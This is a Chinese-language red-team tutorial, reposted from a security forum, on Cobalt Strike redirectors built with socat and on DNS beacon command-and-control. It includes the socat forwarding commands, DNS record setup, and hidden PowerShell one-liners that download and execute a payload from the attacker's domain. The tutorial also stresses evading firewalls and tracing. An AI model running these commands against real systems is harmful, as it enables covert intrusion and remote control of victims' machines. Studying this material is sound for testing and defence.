Cobalt Strike重定器与DNS beacon的使用原理分析 前言Cobaltstrike在渗透中可以说是神器,而我们需要掌握它的技术也是要花一定时间的,下面主要介绍重定器、DNS beacon的使用,也是coba…
Cobalt Strike重定器与DNS beacon的使用原理分析
前言
Cobaltstrike在渗透中可以说是神器,而我们需要掌握它的技术也是要花一定时间的,下面主要介绍重定器、DNS beacon的使用,也是cobaltstrike中相对更难操作的部分。
Cobalt Strike使用重定器
重定器简介
“重定器”是一个在“cobalt strike”服务器和目标网络之间的服务器。这个“重定器”的作用是对你团队服务器下的连接,进行任意的连接或返回。(注:即通常说的代理服务器或端口转发工具)“重定器”服务(在攻击和防御中)是很重要的角色。
Socat简介
工具socat (一款端口重定向工具) 我们用它来建立80端口上的连接管理,并且继续在80端口运行那个连接团队服务器的连接。socat是一个两个独立数据通道之间的双向数据传输的继电器, socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip,tcp,udp,ipv6,pipe,exec,system,open,proxy,openssl,socket等。
使用重定器的作用
1.保护服务器地址,并作为攻击者,它也是一个很好的安全操作。
2.给予了一些很好的适应能力 假如你们的工具中有一两个堵塞了没有大不了的,也可以进行通信。
操作演示
拓扑图
由于电脑性能问题,所以将r3也写入到192.168.0.156主机中
当目标网络访问teamserver时,需要经过r1.team.com、r2.teamcom、r3.team.com中任意一台主机充当中介进行访问,同时三台主机中任意一台出现故障,又可以通过其他两台主机进行通信,可以很好的防止单点故障问题。
dns信息图
在每个重定向的Ubuntu上用socat进行转发
socat TCP4-LISTEN:80,fork TCP4:t.team.com:80
当运行出现以下问题时说明80端口被占用,需要关闭apache服务或者相关进程
socat[3191] E bind(5, {AF=2 0.0.0.0:80}, 16): Address already in use
查看使用80端口的进程
关闭进程
成功使用socat转发
判断重定向是否正常
打开cobalt strike web日志 浏览器访问以下网址
http://r1.team.com/r1
http://r2.team.com/r2
http://r3.team.com/r3
日志信息正确
接下来创建powershell
设置监听器
此时的主机可以是r1,r2,r3,因为r1也会将信息转发到teamserver中,监听的端口为80
填写两个域名 分别是r2.team.com,r3.team.com 当其中一个断开或者堵塞的时候会自动访问另外一个。
创建脚本web传递攻击
抓包分析
通过wireshark抓包可以看到被控制端首先通过r2.team.com与r3.team.com与服务器建立连接,可以很好的防止溯源
Cobalt Strike DNS Beacon的使用与原理
dns木马
dns beacon的工作过程
dns木马因为隐蔽性好,在受害者不会开放任何端口 可以规避防火墙协议,走的是53端口 (服务器),防火墙不会拦截,缺点响应慢。
dns beacon的工作过程
在 dns beacon使用dns隧道的过程
受害者在执行我们的传输器下载完木马之后就会发出a记录的请求,受害者首先会请求本地的hosts文件 ,再去请求本地的dns 能不能告诉123456.test.1377day.com 的ip多少,问com的dns 没有就会去查找dnspot的dns 如果都不存在 就会去查找名如果本地dns存在记录就返回ip,没有就会去查找root 根dns 不存在记录, 接着就会查找名称服务器。 在teasmserver的服务器上也有dns 刚好存在记录 就会返回ip 同时teasmserver 会有dns beacon的信息 返回受害者 受害者再请求危险的a记录到teamserver。 这就是dns beacon的工作过程。
DNS beacon的类型
windows/beacon_dns/reserve_http (传输数据小)
有效载荷通过HTTP连接分阶段。当您创建此侦听器时,请注意您正在配置主机和端口Cobalt Strike将使用通过HTTP分阶段此有效负载。当您选择设置此有效负载时,Cobalt Strike在端口53上站起来的DNS服务器。
beacon_dns/reserve_http(支持命令切换到该模式:mode dns)
将http通信方式,改为了使用dns的a记录方式进行通信。速度较慢,但非常隐蔽,推荐使用!
beacon_dns/reserve_dns_txt(支持命令切换到该模式:mode dns-txt)
同上,只是改为使用dns的txt方式进行通信,传输的数据量更大,推荐使用!
windows/beacon_dns/reverse_dns_txt (传输数据大)
有效负载使用DNS TXT记录下载和分级混合HTTP和DNS beacon。当您创建此侦听器时,请注意,您正在配置该有效负载将用于HTTP通信的端口。再次,Cobalt Strike知道在53端口站起来一个DNS服务器。
以上都是非持续性的工作。
域名创建ns指向
如果没有域名,可以使用申请Freenom免费域名,并使用DNSPod解析
请参考:https://www.cnblogs.com/ssooking/p/6364639.html
首先创建a记录test.1377day.com 指向 teamserver
新建监听器
然后填写我们的NS记录
查看设置的记录是否成功
123456(这个是任意的)
nslookup 123456.c1.1377day.com,以下说明成功指向teamserver,说明记录设置成功
此时可知a记录成功指向teamserver
dig +trace 123456.c1.1377day.com
DNS传输模式
创建脚本web传递攻击
在被控制端执行该命令
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://test.1377day.com:80/a'))"
成功上线后,使用wireshark抓包分析,可以清楚的观察到47975.c3.1377day.com的记录,说明使用了dns传输模式
dns-txt传输模式
创建脚本web传递攻击
在被控制端执行该命令
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://test.1377day.com:80/dns'))"
成功上线后,使用wireshark抓包分析,可以清楚的观察到使用了dns-txt传输模式
- 本文作者: Honeypot
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/380
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!